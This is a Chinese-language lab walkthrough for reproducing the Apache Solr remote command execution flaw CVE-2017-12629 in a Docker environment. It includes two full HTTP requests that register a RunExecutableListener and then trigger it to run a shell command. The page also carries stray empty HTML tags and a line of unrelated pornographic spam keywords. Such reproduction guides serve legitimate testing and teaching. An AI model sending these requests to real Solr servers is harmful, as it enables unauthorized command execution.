<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Solr 遠程命令執行漏洞(CVE-2017-12629)

    Path solr/CVE-2017-12629-RCE

    漏洞原理與分析可以參考:

    Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基于 HTTP 和 Apache Lucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。此次7.1.0之前版本總共爆出兩個漏洞:XML實體擴展漏洞(XXE)和遠程命令執行漏洞(RCE),二者可以連接成利用鏈,編號均為CVE-2017-12629。

    本環境測試RCE漏洞。

    漏洞環境

    運行漏洞環境:

    docker-compose up -d

    命令執行成功后,需要等待一會,之后訪問http://your-ip:8983/即可查看到Apache solr的管理頁面,無需登錄。

    漏洞復現

    首先創建一個listener,其中設置exe的值為我們想執行的命令,args的值是命令參數:

    POST /solr/demo/config HTTP/1.1
    Host: your-ip
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 158
    
    {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

    然后進行update操作,觸發剛才添加的listener:

    POST /solr/demo/update HTTP/1.1
    Host: your-ip
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 15
    
    [{"id":"test"}]

    執行docker-compose exec solr bash進入容器,可見/tmp/success已成功創建:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类